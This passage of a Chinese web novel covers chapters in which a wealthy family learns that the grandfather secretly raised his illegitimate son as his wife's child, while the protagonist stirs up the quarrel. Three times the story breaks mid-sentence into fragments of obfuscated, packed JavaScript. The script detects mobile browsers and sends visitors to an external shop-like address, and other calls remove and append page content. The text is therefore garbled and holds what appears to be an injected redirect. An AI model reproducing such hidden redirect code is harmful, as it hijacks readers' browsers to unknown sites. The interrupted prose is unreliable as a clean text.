毕竟这么多年了,当成亲儿子养了五十三年,看着这个儿子有了自己的孩子,最小的孙辈都成年了…… 贺祖母长叹了声,握住贺定邦的手拍了拍。 这个动作,让贺祖父、贺定邦和贺定邦的子女们都松了口气。 贺祖母看向贺祖父,问:“当年夭折的孩子……” 贺祖父连忙老泪纵横道:“我好好安葬了!阿英,虽然没敢让你知道,但我其实这么多年一直记挂着我们的亲生儿子,每年给定邦过生日的时候,我都会悄悄多准备一份生日礼物,然后在扫墓的时候放到我们儿子的墓前。等你准备好了,我可以带你去看……” 闻言,贺定邦附和说:“我也要去,那也是我兄弟,我也得去看看他,我这么多年能有爸妈、能有这个家,也是托他保佑……” 至此,贺祖母落下泪来,却也打算揭过这件事,不再计较。 “罢了,都是命……”贺祖母说。 宁衣初听着戏,觉得很下饭。 眼看着当前这一幕要落幕了,他及时递到新“剧本”,轻快地提醒说:“我觉得还是做个亲子鉴定吧,说不定有惊喜呢。” 贺祖父刚放下的心又提了起来,差点气个仰倒。 他看向贺适瑕,期待贺适瑕能把人管住:“适瑕!你就看着他闹得家宅不宁吗!” 贺适瑕略显抱歉:“他年纪小,说话比较直率,大家体谅一下吧。” 众人被贺适瑕这“熊孩子他家长”的作派噎住了。 不过,宁衣初如今刚大学毕业,才满二十二岁没两个月,在场众人也就一个刚满十八岁的贺如竹比他小,再往前一个排行的贺适瑕比宁衣初大了六岁。 所以他非要说宁衣初年纪还小,好像也行。 宁衣初乐不可支:“就是啊,我还怀孕了,情绪不稳定,你们可别刺激我,小心我流产给你们看,到时候谁负责啊?” 其他人脸色都十分难看。 贺如林忍不住笑了声:“虽然以前就觉得你好玩,但现在才发现你比我以为的还有意思,你和适瑕离婚的时候要不通知我一声……” “闭嘴。”贺适瑕脸色泛着寒意。 贺如林举起双手做出投降姿势:“好吧,当面撬墙角是不太合适。” 有贺如林这么一打岔,刚才的话题中断了下,贺祖父就想趁机跳过不提,用别的话题引走众人注意力:“适瑕,你如今到底怎么想的,你真打算把公司的股份都给这个包藏祸心的宁衣初?” “还好吧,我肚子里的孩子好歹敢确定是贺适瑕的,没祖父您包藏祸心,敢把私生子当弃婴抱回来养了五十多年,这会儿事发了还这么镇定。”宁衣初歪了下头。 他看着脸色骤变的贺祖母,笑问:“祖母,您猜您那亲生儿子,到底是不幸夭折,还是人为放弃救治导致他死掉,好给别人腾位置呢?” 这番话,让贺祖母身体比脑子反应快,她下意识松开了贺定邦的手。 贺定邦此时心慌得顾不上骂人,人生第一次希望自己真是个孤儿,他连忙看向贺祖父:“爸!我是你在医院捡到的……对吧?” 贺祖父此时也在发抖,于是整个人显得格外老态龙钟,差点握不住手里的拐杖,他难以置信地看着宁衣初:“你怎么……” 这件事实在是经不起猜忌,一旦起了疑心,一场亲子鉴定就足够说明事实,所以被揭露到这个地步,贺祖父也没再负隅顽抗。 但他想不通:“你怎么知道的?就算是维安告诉了适瑕,适瑕告诉了你,你们也只该知道定邦不是你们祖母亲生的,怎么会知道定邦是我的私生子……” 正是以为没人知道最深入的真相,所以贺祖父刚才还试图隐瞒,想要弃车保帅,把局面控制在坦白“贺定邦是捡来的弃婴”这一步。 然而此时,贺祖父这番疑惑出口的话,等同于告诉了众人两件事,除了他们本就在议论的贺定邦的身世之外,还有…… 贺祖母瞪大了眼睛,几乎要呛出一口血来:“维安知道定邦的身世?!” 贺定邦也错愕:“怎么会……维安一直不喜欢我这个大哥,话都懒得跟我多说,原来是这个原因吗?不对啊,那她干嘛帮我隐瞒……适瑕,到底怎么回事?” 其他人仍然认为,刚来到贺家的宁衣初不可能有机会知道这种私密事,应该是贺适瑕这枕边人告诉他的。 贺适瑕没回答。 他其实完全不知道这桩事,宁衣初刚才突然毫无铺垫地揭露出来,他也是惊愕的。 贺祖父这时又开了口:“维安……她也是前两年刚知道的。因为定邦从小到大一直不着调,她确实有点嫌弃这个大哥,但知道这件事后,她怕家宅不宁,怕阿英你这个当妈的受不了,所以才没说,而且她也以为定邦是我偶然碰到的弃婴,真不知道他是……” 贺维安到底是亲生女儿,贺祖父不希望到这一步把她也拖下水,何况她的确不是出于私心才帮忙隐瞒的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695979|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >贺祖父摇了摇头:“唉,是,定邦是我的私生子,但是阿英,你相信我,我们的亲生儿子真是抢救失败没了的,不是我故意害死了他,再把私生子领回家替代。是我对不起你……” 贺祖母被气得大脑一片空白,几乎说不出话。 年纪最小的贺如竹被巨大的信息量惊呆了,到这会儿实在没绷住,脱口而出:“我的天,居然是祖父出轨……” 离得近的老五贺如风踢了他一脚,低骂道:“能不能看点眼色!闭嘴吧蠢货!” 贺祖母呼吸急促,她说一不二了一辈子,没想到临到半只脚都要踏进棺材、按理来说应该人生诸事盖棺定论的时候,突然冒出这么件侮辱至极的事来,简直丢尽脸面。 “维安……把贺维安给我叫回来!今天全都老老实实给我交代清楚!”贺祖母怒吼道。 贺定邦刚才伏在她腿边,这会儿变成了跪坐的姿势,乍看老老实实的,也不敢吭声。 倒是贺定邦的长女贺如雪,大着胆子上前,轻轻拍了拍贺祖母的背:“不论如何,您的身体最要紧,别气伤了自己。” 毕竟是认知中的第一个孙辈,疼了三十三年的孙女,虽然她是贺定邦的女儿,但对贺祖母来说,此时却是忍不住各论各的情分,便狠不下心不理这个孙女。 贺祖母拍了拍贺如雪的手,放缓了声音说:“如雪,你是你,你爸是你爸,不论如何,你都是我贺家的长孙,别怕。” 贺如雪闻言,倒是不动声色定了心。 可她其他兄弟姐妹仍然没法安心。 祖母本来就疼爱贺如雪,她愿意把贺如雪和贺定邦父女分开对待,不计较贺如雪的父亲是她丈夫出轨的证据,却不等于也会对其他孙子孙女同等对待。 贺定邦则是更加绝望,听出来了贺祖母话里的意思——他不是被遗弃在医院门口、缘分下来到贺家的孤儿,而是他爸偷渡回贺家的私生子,所以他妈不会顾忌五十多年的母子情分了。 贺祖父老脸颤抖,还是想争取:“阿英……我就错过那么一次……我们五十多年的夫妻啊,你要临了临了把家丑外扬,让人看我们老两口和贺家的笑话吗?” 贺祖母没回答,只问他:“当年到底是怎么回事,你给我交代清楚,再有一点隐瞒……” “别担心,祖母,祖父有隐瞒的话,我会提出来的,一定不让您吃闷亏。”宁衣初看热闹不嫌事大。 贺适瑕一脸无奈地笑笑,但别说阻拦,丝毫责问的意思都没有。 贺家其他人气得不想跟这对新婚夫夫说话。 贺如林倒是“与众不同”,这会儿还饶有兴致地盯着贺适瑕和宁衣初,说:“我听祖父刚才的意思,我爸是他私生子的事,连姑姑都不知道,也不知道小初你是怎么知道的。话说,适瑕对你这么言听计从,是不是因为你也拿捏到了他的什么把柄,说出来能毁了他的那种?” 贺适瑕冷脸警告:“贺如林。” “哟,这么快连三哥都不叫了,真是……要不小初你帮你老公叫一声?”贺如林笑眯眯的。 宁衣初吃掉了碗里最后一口粥,脾胃暖了起来,又有戏看,心情自然也好。 他对贺如林一笑:“你一个私生子的私生子,人家正儿八经的婚生子,不想跟你论资排辈也正常,不用急着伤心。” 虽然宁衣初的本意摆明了是嘲讽和挑拨,但贺适瑕还是不想看到他对别人笑,尤其是对贺如林这个本来就心怀不轨的。 所以宁衣初说完了之后,贺适瑕不动声色挡住了贺如林看过来的视线,然后低头问宁衣初:“要不要再吃一点?” 宁衣初现在有别的乐子打发时间,也就懒得怼贺适瑕,只摇了摇头。 贺如林那边还没回答,年纪最小的贺如竹又神神叨叨开口了:“唉,这就是嫡出和外室的区别,现在亲爹都是自身难保的私生子,我们就连庶出都算不上了,小心被发卖。” 这下连贺如林都无语了。 8. 第 8 章 贺定邦简直想跳起来揍这个小儿子一顿:“小兔崽子你一天到晚捧着手机没学个有用的!连基本的人话都不会说了吗!闭嘴吧你!” “这个情况,我就算说开了花也没用啊。”贺如竹愁眉苦脸,看向贺如雪,“大姐,我基本算是你带大的,祖母不会不管你,你不会不管我吧?” 老二贺如松眉头紧皱,满脸不爽:“这是在干什么?大难临头赶紧各找出路吗?这么快就认可自己不是贺家人的身份了吗?我接受不了!” 他看向不言语的贺祖母,三十出头的人了几乎要落下泪来:“祖母,我们可都是您看着长大的,我从小就知道自己没妈,爸也是个不靠谱的,但我从来没觉得自己可怜过,因为家里有您主持大局,祖父……祖父对不起您,但过去这些年的感情难道是假的吗……我也不知道该怎么说了,但我真的不希望这个家散了……” 贺祖母没有回答,她继续看着贺祖父,情绪看起来比刚才平静了许多:“你说。” 贺祖父拄着拐杖,身形短短时间就佝偻了许多。 “当年……我是贺氏的职员,被你爸和你看重,想让我入赘……”贺祖父声音老迈而沧桑地坦白,“你问我是不是单身,我骗了你,我那时候有个女朋友,在老家的时候谈的……” 贺家这位祖父本名秦凯,他接着说—— 虽然他当时并非单身,但当年年轻的贺祖母那么一问,他就猜到了她的意思,他舍不得这泼天的富贵,于是回答说自己是单身,甚至为了博取更多的好感,他说自己从来没有谈过恋爱。 骗完了贺家父女,秦凯扭头就和当时的女朋友分了手,之后很快和贺家千金贺英结了婚,成了贺氏的乘龙快婿。 贺祖母贺英听到这里,觉得讽刺:“真是典型的凤凰男桥段,这么些年我在别人家看过不少这种丑剧,还沾沾自喜觉得自己没看走眼,没想到……难怪你能搞出个私生子了,你那前女友,就是这私生子的亲生母亲吧?” 听到贺祖母不再喊他名字,而是直呼“私生子”,贺定邦心如死灰,甚至不敢再出声,就怕引起贺祖母注意。 贺祖父嘴唇颤抖,没能否认,否认也没意义,难道说贺定邦的生母是另一个陌生女人,会让他更容易获得原谅吗? 他继续说—— 前女友本来和他一样都在A市打拼,被莫名其妙突然分手后,前女友也没闹、就那样断了联系。直到他结婚第二年,前女友主动找上了他。 前女友说老家来信,她家里老人家都身体不好了,需要钱做手术治病,她实在没办法,知道他现在成了有钱人家里的女婿,所以想问他借点钱。 前女友还保证,就借那一次,她之后带着钱回老家照顾家人,就在老家结婚生子,不回来A市了。 按这个说法,其实是有借无还的“借”。 “但我想着也是我对不起她,而且确实存着赶紧把她送走的念头,就给了她一笔钱。然后她说心里难受,想让我陪她最后吃顿饭,我也答应了,当时就是想着吃顿散伙饭,快点了断……”贺祖父满脸理亏。 “饭桌上她一直灌我酒,我也没多想,我记得那是午饭,大中午的,又是正儿八经的饭店,要是晚上的话我肯定更警觉,结果……我年轻那会儿的酒量,阿英你是知道的,我当时被她灌醉了,没想到她就在吃饭的包间里……” 好像是觉得一大把年纪了,现在说起年轻时的风流韵事,还是当着子孙的面回忆,有些丢脸,贺祖父抹了把脸,才继续说。 “我清醒过来的时候,事情已经发生了,我也很后悔,不该跟她单独喝酒。我气她,问她为什么要那样,她说她不知道该怎么报答我,我借的钱她肯定是还不上的,就想陪我睡一次,但又知道我肯定不会答应,她也知道我酒量不好,所以就主动那样……” 这个说法,让贺祖母皮笑肉不笑地扯了扯嘴角,眼皮耷拉着。 贺祖父没等来她的反应,只好自己继续说:“那之后她就回老家了,我们也没有来往了,直到你快生了,她突然给我打电话,说她也快生了,孩子是我的……” “她说她发现自己怀上了之后,又来找过我,但正好看到我陪着大肚子的你出门,她觉得对不起你,不想破坏我们,就准备自己悄悄生了孩子养。” “但她怀了孕,也不敢回老家了,要被人说闲话,而且也怕被人猜到孩子是我的,连累了我,所以她就在这里租了个房子,想把孩子生下来。但临到要生,她才知道去医院生孩子也得要办手续,她不少证件都缺,也缺钱,实在没办法了,只能再找我……” 贺祖父接着懊恼—— 他说,当年他要是早知道前女友怀孕了,哪怕昧着良心也会逼她把孩子打了。可偏偏他知道的时候,前女友都快生了,那个月份也打不了了,可他又不能不管她吧,只好找了家医院安顿了前女友。 没想到的是,前女友和妻子贺英正好前后两天生产,前女友比贺英早一天生下孩子,也就是如今的贺定邦。 前女友说她一个人实在是没法养,哀求秦凯想办法把孩子带回贺家养在身边,说是亲戚家的孩子、故友的孩子都行,她保证以后都不会再打扰。 贺祖父说着叹气:“我当然没有同意,我想给他们母子一笔钱,把他们打发了,但……她可能是觉得我在怀疑她的动机,当天就在医院自杀了,只留下了定邦这个孩子。” 贺祖母神色间动了动。 贺祖父注意到了,没敢太激动:“我当时正发愁要怎么跟你坦白、求你的原谅,你正好也要生了。那是我们的第一个孩子,你生得很难,生完就晕了,听抱孩子出来的护士说,你都还没顾得上看孩子一眼——” 就在贺祖母贺英当年昏睡期间,刚出生的孩子突然器官衰竭,据贺祖父秦凯如今回忆所说,当时医生护士几乎是马上就发现了,然后全力抢救,可也没救回来。 “我发誓,真的是没救回来,我不知道宁衣初这混账为什么要挑拨离间,暗示说是我故意让人不救,也许他是有意为之,也许他也是被人骗了,毕竟那么多年前的事,他也是听人说的吧——阿英,与其听别人说,不如问问当年真正经历过这些事的人呢?” 贺祖父说着,居然还露出了坦荡的神情:“你可以去当年你生孩子的医院问问,当年的医生护士总还能找到一两个吧,一定有印象的。” 贺祖母仍然没说话。 贺祖父声音衰弱下去:“我们刚出生的孩子没了,正好定邦的生母也没了,我是真不想让你伤心,我不知道该怎么告诉你我们的孩子没了,我还被人设计有了个私生子,两件事同时跟你说不是要你的命吗……” “我就自作主张,拜托医生护士陪我扯谎,说定邦就是我们的孩子。” “当年的医生和护士也以为定邦是弃婴,大概是想着一举两得做点好事吧,而且那年头医院各方面都管得不严,五十三年前的医院了,连像样的机器都没多少呢……总之这件事就这么瞒下来了。” “阿英,这件事瞒了大半辈子,我心里也一直都不好过,一直惦记着,如今终于说出来了,虽然对不起你,但我心里这块大石头总算落了下来……你想赶我和定邦出贺家,我也没脸求你,但……” 说着,贺祖父的声音又高昂了点:“这么多年,要是我对你有二心,以你的能耐,肯定早就发现了,是不是?还有定邦,定邦他是混账,这辈子没少让我们操心,可他也是今天刚知道自己的身世,以前是拿你当亲妈的,他也一把年纪了,你看看他现在这可怜样…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695980|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 越说声音越低,最后贺祖父老迈地咳嗽起来。 贺祖母没有看贺定邦,倒是看了眼宁衣初,似乎是想看他这个“知情人”还有没有别的话说。 宁衣初一脸乖巧:“祖母别看我啊,被戴绿帽子、养了私生子五十三年的人又不是我,您大度愿意原谅,以后家和万事兴的话,我肯定不会打您脸的。” 贺祖母被他反讽的话气得又有些血气上涌,但到底忍住了,只接着问他:“你是从哪里知道这件事的?” 宁衣初好整以暇地回道:“那您得问祖父这些年里还喝醉过多少次,跟多少人说过这件事了。” 贺祖父忙着“咳嗽”,一时没来得及反驳。 贺祖母脸色发沉,又问贺适瑕:“你要把公司股份赠与给他,这件事是认真的还是有其他目的?” 见贺适瑕想也不想就要回答,贺祖母紧跟道:“说实话!适瑕,祖母今天受够打击了,经不起折腾了。” 贺适瑕抱歉道:“我也希望祖母您长命百岁。股份的事,认真的,材料已经全部准备好了,我待会儿就会让律师过来,只差阿宁签字了。” 贺祖母好像又老了几分,面上满是不解:“为什么?你之前不是不想和宁家履行婚约,不想跟他结婚吗?还是真的像如林说的那样,你有什么把柄在他手里?” “没有,祖母。”贺适瑕不假思索道,“我之前不答应由我来履行贺家和宁家的婚约,是因为宁家那边有意推出来履行婚约的人不是阿宁。” “我和阿宁结婚这件事,我之前不主动,是因为我那时候确实还没弄清楚自己的心意,但我确定他是不喜欢我的,所以我以为他会有其他打算。但既然他不介意跟我结婚,我其实也并不觉得这场婚姻很勉强。” 宁衣初歪了下头,提醒他:“戏有点过了,贺影帝。” 贺适瑕低头,对他笑了笑:“我说的是实话,不过这些事发生的时候,我自己也没想清楚……等明白过来,已经迟了。” 贺如竹小声嘀咕:“可是前几天宁衣初刚搬进来的时候,六哥你对他态度还挺冷淡呢,你不是也很讨厌他一哭二闹三上吊以死相逼的行为吗……” 宁衣初:“看吧,被拆穿了很尴尬的。” 贺适瑕心平气和:“当时我冤枉了他,以为几个月前那次意外真的是他做的,也以为他真的不惜用自己的命来赌我会不会答应结婚,而这之前他甚至不愿意问我一声,其实如果知道他愿意跟我结婚的话,我也会很乐于选择这个解决问题的方案,用不着他到割腕的地步。” 宁衣初扯了扯唇角。 贺适瑕垂下眼:“但冷静下来想想,是我太自作多情了,这场婚姻还没到值得他拿命赌。也是我太高高在上,为什么想的是要他主动联系我?毕竟我也没主动跟他商量过。所以如今你们看到了,他不待见我,是我活该。” 这番话,让在场的贺家人都有些惊讶和凝重。 贺适瑕说到这个地步,俨然是很认真的,但对于并不喜欢宁衣初的贺家人来说,尤其是宁衣初刚挑起了事端、致使贺定邦身世曝光……总之贺家人并不乐见这个局面。 贺如竹纳闷了下:“下药的事不是他做的吗?这事儿不早就证据确凿板上钉钉了,六哥你是不是被爱情蒙蔽了双眼……话说,话题怎么跳到六哥深情告白上来的?刚才不是在说……哦,没事了,六哥你继续表白吧。” 说到一半,贺如竹想起来刚才在说什么了——在说他爸是他爷爷的出轨产物,他奶被骗了五十多年——那相比之下,还是听表白现场比较好。 然而贺如竹这么一提醒,其他人不管乐不乐意,也都不得不重回贺定邦身世这个话题。 贺定邦想捶贺如竹这个好大儿一顿。 9. 第 9 章 老二贺如松倒是意识到,贺祖母迟迟没有最终表态,只怕还是心软的。 毕竟年纪大了,没剩多少时间这辈子都要结束了,临了还乐意人生出现大变动、还是这种负面变动的人很少。 不论是好面子还是舍不下情分,贺祖母嘴上说得不留情,但总归是更希望不生事端的,一大家子对内对外都是热热闹闹和和气气的样子,是她更想要的。 但老太太眼里揉不得沙子了一辈子,这会儿让她自己轻轻松松揭过这事儿不提,显然不太可能,得给她递足了台阶。 于是贺如松连忙开口:“祖母,祖父刚才那些话……我们小辈不好说长辈的不是,但我也不得不说祖父对不起您,可归根到底,祖父也是被设计了,他不是有心对不起您的,隐瞒那些过往,也都是为了让您舒心,我们一家人在一起这么多年,朝夕相伴,我知道您如今伤心,但……” 三十二岁的人了,说着说着就哽咽起来,哽咽着哽咽着就落下泪来。 贺如松抹着眼泪哭诉:“您真的不要我们了吗?我们一家人原本好好的,怎么突然就这样了……” 见状,老四和老五姐妹俩也反应很快,一起哭起来。 老五贺如风抽泣道:“祖母,祖母,我舍不得您,我们都从小没妈妈,您虽然是祖母,但您在我心里就是妈妈一样的存在,我不想离开您……” 老四贺如月低着头,也眼泪啪嗒啪嗒往下掉:“但是祖父做错了事,我们爸都名不正言不顺,我们这些本来就是没妈的孩子,也就更没脸求您别不要我们了,要怎么办,怎么办才好呢……不管怎么样,祖母怎么安排都可以……” 看到子女齐哭,贺定邦也连忙跪坐在地上抹眼泪:“妈,我不管,就算您不要我了,您也是我亲妈,我就您一个妈,我叫了五十多年了啊,我也是半截身子入土的人了,现在跟我说我妈不是我妈,您要不杀了我算了……爸你怎么可以这么对妈,你怎么对得起妈啊!” 贺祖父握着拐杖拄着地,没吭声。 贺祖母左右为难,但凡是年轻的时候发现这个真相,她都犯不上犹豫,可毕竟年纪大了,这么多年了…… 贺如竹扑到贺祖母腿边,动作太急,撞得跪坐在旁边的他爸贺定邦差点摔开,但贺如竹没顾上他爸,仗着年纪还小,抱着贺祖母的腿也嗷嗷哭。 “祖母!祖父也是情有可原啊,我爸更无辜啊,他当年也就是个刚出生的小孩,又不是他自己爬到您身边喊妈的,祖母……” 贺定邦觉得,贺如竹这小兔崽子说话是真不中听! 不过不耽误贺定邦自己继续嚎:“妈!我们五十多年的母子情分啊,难道真的敌不过血缘吗……我怎么突然就要没妈了呢……妈,您不要赶我走,您让我们留在您身边赎罪吧,求您了!” 到这个地步,贺祖母心里的天平的确是有了偏向。 到底是几十年夫妻,贺祖父自然看得出来贺祖母态度松动,就差临门一脚了。 他连忙趁热打铁,又沧桑地开口道:“阿英,这么多年,我对你、对贺家有没有过二心,你是最清楚的。我如果真的有心出轨,有心用定邦换了我们的亲儿子,那我总得图点什么吧?可你说,我这么多年,图过什么不应该的吗?” “定邦不着调,早年你跟我说想给维安招赘,让维安接手贺氏,就像当年的你一样。那时候我有帮定邦争取过吗?我甚至让你别给定邦股份,你还记得吗?” 听到贺祖父这样说,贺定邦瞪大了眼睛。 贺祖父引导着贺祖母回忆:“你当时怕定邦难受,怕他觉得我们不是看能力而是偏心维安,所以你想就算定邦不靠谱,也还是多少给他点股份。” “如果定邦是我们的亲儿子,我当初就不会阻止你,正是因为我心知肚明他不是,就算我没跟你坦白真相,我也没那个脸让定邦拿贺家的东西,所以我才劝你说算了,反正一直都没给过,定邦自己也清楚自己是什么德性,突然给他了,才是怕他多想,回头拿着股份乱来。” “是我一个劲儿劝你,才把你劝住了,你因为这件事,还开玩笑说我确实是偏心维安。” 随着贺祖父的话,贺祖母回忆起早年,叹息了一声。 贺祖父再接再厉:“后来,你想给如雪股份,我当时也想阻拦你,毕竟如雪是定邦的女儿,说来也不是贺家的血脉。但我没劝住,你疼爱如雪这个长孙女,又觉得本来就没给定邦股份,再不给如雪,说不过去。” “如雪不像她爸,她靠谱,我也没有正当理由阻拦你,还怕阻止得太过火,让你察觉异样,所以我说,把我手里的那百分之五给她吧……” “我陪着你为贺家忙了一辈子,到退休了总共也就得到了百分之五的股份,你当年都没找我要,我知道只要我自己不拿出来,你就不会要求我。” “但我还是因为心里歉疚,没脸从你手里抠东西给不是你血脉的人,但我又拦不住你,又不敢告诉你真相,所以想着与其让你把手里剩下的股份分给如雪,不如把我的给她算了,那样我手里虽然空了,可多少心里好受点。” 贺祖父抹了抹眼睛:“后来是直到适瑕成年,你按着贺家历来的规矩,也要给他分股份的时候,觉得公平点,才又给了如雪百分之三,让她和适瑕一样都拿着百分之八的股份。你记得吗,你当时还以为我偏心维安一家子,不那么疼定邦和他女儿,怕我再阻拦你,所以你做完了这件事才告诉我的……” 贺祖母老迈的眼里闪出了更多泪花。 “但定邦的子女们,也就如雪得到了贺氏股份,她手里有百分之八。阿英你手里还握着百分之五,剩下的,都在维安和适瑕手里,适瑕手里有你给他的百分之八,维安作为贺氏当前的家主,握着在董事会说一不二的百分之五十股份。”贺祖父算道。 “阿英你说,我要是有二心,我是不是就该想尽办法给定邦捞好处,想尽办法架空你,而不是这人都要盖棺定论了,仔细一算,我和定邦手里都没什么实在的东西?” “我很感激你和岳父当年瞧上了我,也知道只要有贺家、有你,我就苦不了,所以我一直很知足,也没想过一定要自己手里捏着贺氏的股份才安心,这不有你吗,你还能让我愁了吃喝吗?我一直都这样想的……” “我这些年是心虚,但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695981|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也只敢瞒着你,没敢动别的心思,没敢想着仗着你的信任做点什么,让你就算发现了定邦的身世也不敢跟我叫板,我从来没那么想过……阿英啊,这辈子都要走完了啊,你要不就别赶我们走了,剩下的时间,让我留在你身边继续赎罪,好么?” 说完了,贺祖父就连连咳嗽起来,上气不接下气,贺如松他们连忙上前搀扶拍背,一堆人哭的哭咳的咳,瞧着好不可怜。 站在贺祖母身边的贺如雪也哽咽了声:“祖母……” 贺祖母叹息一声:“我们贺家,也确实丢不起这个脸,这件事……” “这件事就这么算了吧。”宁衣初语调轻快地接过话,成功获得了所有人的注视。 一听他开口,看他那神态,其他人就觉得牙疼。 贺如松磨了磨牙:“都闹得家宅不宁了,还不够吗?你还想说什么?” 宁衣初挺无辜地眨了眨眼:“不闹了啊,祖母都打算咬牙忍了,我还闹什么,那多不懂事。” 他懂事地慢条斯理细数:“虽然祖母和祖父结婚五十五年,祖父婚前就骗祖母说自己是单身,婚后第二年就偷见初恋女友、给她钱、还背叛了祖母,这么多事居然一直完美隐瞒至今,让祖母连自己亲生儿子没了都不知道,养了祖父的私生子大半辈子……” “但诚如你们说的,祖父不都说了吗,都是他那初恋女友、舅舅的亲生母亲的错,祖父很清白的。” 人的情绪当然会随着当下听到的话、联想到的事而变幻,刚才贺祖母满脑子子孙们的哭声、多年情分和贺祖父劳苦功高,现在被宁衣初这么一重提,她又想到…… 是啊,从一开始她就被骗了,而且一被骗就是大半辈子无知无觉,她怎么敢确定老头子没有瞒她其他事呢? 这些年,到底是老头子自己没有二心、没脸要贺氏更多东西,还是她太强硬,老头子没那个能耐和胆量去赌,所以只能知足呢? 老头子也不是个蠢的,贺定邦扶不上墙他当然看得出来,所以当初不给贺定邦股份,后来又把他自己手里的股份拿出来给如雪,到底是出于愧疚不敢要,还是别有盘算? 他是不是早就为东窗事发做准备了,就赌股份的事拿出来掰扯时,她这个老太婆会心软?而如果没有东窗事发,那夫妻一辈子到死,他就算最终手里真的什么都没有,也不妨碍荣华富贵一生。 反倒是那百分之五的股份,他捏在手里也不能用来做别的,临死的时候分给子女也得平分,算下来最终的分配结果其实没有区别……他到底是心中有愧,还是对局势看得太清? 贺祖母原本动摇的天平,倾斜的方向又颤颤巍巍改动了。 “宁衣初!你到底想怎么样?你看不得我们家好是不是!”贺定邦看见贺祖母眼底的动摇,简直咬碎了牙,他妈分明就要松口了,又被宁衣初破坏了! 宁衣初莞尔:“舅舅别急嘛,我没忘了你。其实我还挺羡慕舅舅的,虽然你不是祖母的亲儿子,还占了她亲儿子的身份这么多年,让她亲儿子一出生就做孤魂野鬼,连贺家的祖坟陵园都没能进,但祖母多疼您啊,都不打算计较,唉,真羡慕。” 10. 第 10 章 贺定邦急了,贺如松也连忙怼道:“宁衣初你上什么眼药呢!你不就是嫉妒吗,你不是宁家亲生的,就嫉妒我爸!但我爸跟你可不一样,我爸又不是靠自己坑蒙拐骗进的贺家,我爸也很无辜!” 急匆匆说完一段落,贺如松缓下来了点,冷哼了声:“不像你,心肠歹毒,小小年纪就知道假扮人宁家的亲生儿子混进去,被发现了还好意思腆着脸继续待在宁家那么多年,现在霍霍完了宁家,又想祸害我们家是不是!” 贺适瑕皱眉,正想开口,就听到宁衣初乐不可支道:“是啊,我就是嫉妒舅舅啊,他不用自己坑蒙拐骗,亲爹自然会帮他骗嘛,不像我,当年只能靠自己。” 贺祖父和贺定邦脸都绿了。 宁衣初语气感慨:“舅舅一个私生子,居然混进原配家里享了大半辈子福,事发后不愿意承受来自原配的厌弃,甚至还义正严辞说自己无辜,想要继续留在贺家也那么理直气壮,不像我,我好歹还不是宁家谁处心积虑带回去的私生子呢,被讨伐这么多年,这心理不平衡嘛,所以这不是一知道舅舅的身世,马上就拿出来挑事了吗。” 他笑眯眯的,看得贺适瑕很难受。 “当年是宁家主动找到阿宁的。”贺适瑕看着贺家其他人,“如果非要说他一个从小在福利院长大、才六岁的孩子,就能在初见宁家人时,成功在血脉这件事上骗到他们,那舅舅在贺家这么多年,连我妈都能发现你的身世有异样,舅舅您自己真的从来没意识到过吗?” 包含贺祖母在内,其他人都脸色骤变。 宁衣初轻轻眨了下眼,觉得贺适瑕跟贺家其他人“窝里斗”,蛮有意思的。 贺定邦难以置信地看着自己的好外甥:“适瑕你疯了吗?你也要污蔑舅舅,要让你祖母更难受?!妈!我真的是刚刚才知道的!我冤枉!” 贺适瑕心平气和地回答:“说实话而已,比起阿宁六岁骗了宁家人,我现在对舅舅这猜测,不更有理有据吗?舅舅是真的今天才知道,还是早就知道了,但舍不得贺家荣华富贵,所以一直装不知道呢?五十多年,祖父真就没告诉过舅舅真相?” 贺祖父拄着拐杖敲地:“贺适瑕!不管怎么样,我可都是你亲祖父!你就这么巴不得我和你祖母好不了?!” 贺适瑕看着他们:“你们奚落欺负阿宁的时候,似乎也没在意过我这个亲人。” 贺适瑕把自己放在宁衣初的阵营,但宁衣初可没觉得他俩是站一边了,听到这话也没给面子,他好整以暇地提醒道:“他们奚落欺负我的时候,以前也没见你在意过啊,现在这么正气凛然,不合适吧。” 贺适瑕抿了抿唇。 贺如林闻言乐道:“适瑕,看来你这处境也没好到……” 贺适瑕懒得听他落井下石,打断道:“舅舅今年五十三了,他最大的女儿三十三岁,最小的儿子十八岁,都至少是成年的年纪,而且你们心知肚明,祖母就算真把你们赶出去,也不至于绝情到要你们交回手里现有的资产,你们离开了贺家不至于活不下去。” “明知道舅舅不仅不是祖母亲生,还是祖父的私生子、是祖父背叛欺骗祖母多年的证据,但你们都能哭天喊地说无辜,理直气壮求原谅,想要继续留在贺家,既然如此,又哪来的底气拿早年的事,来讨伐阿宁他没离开宁家?” 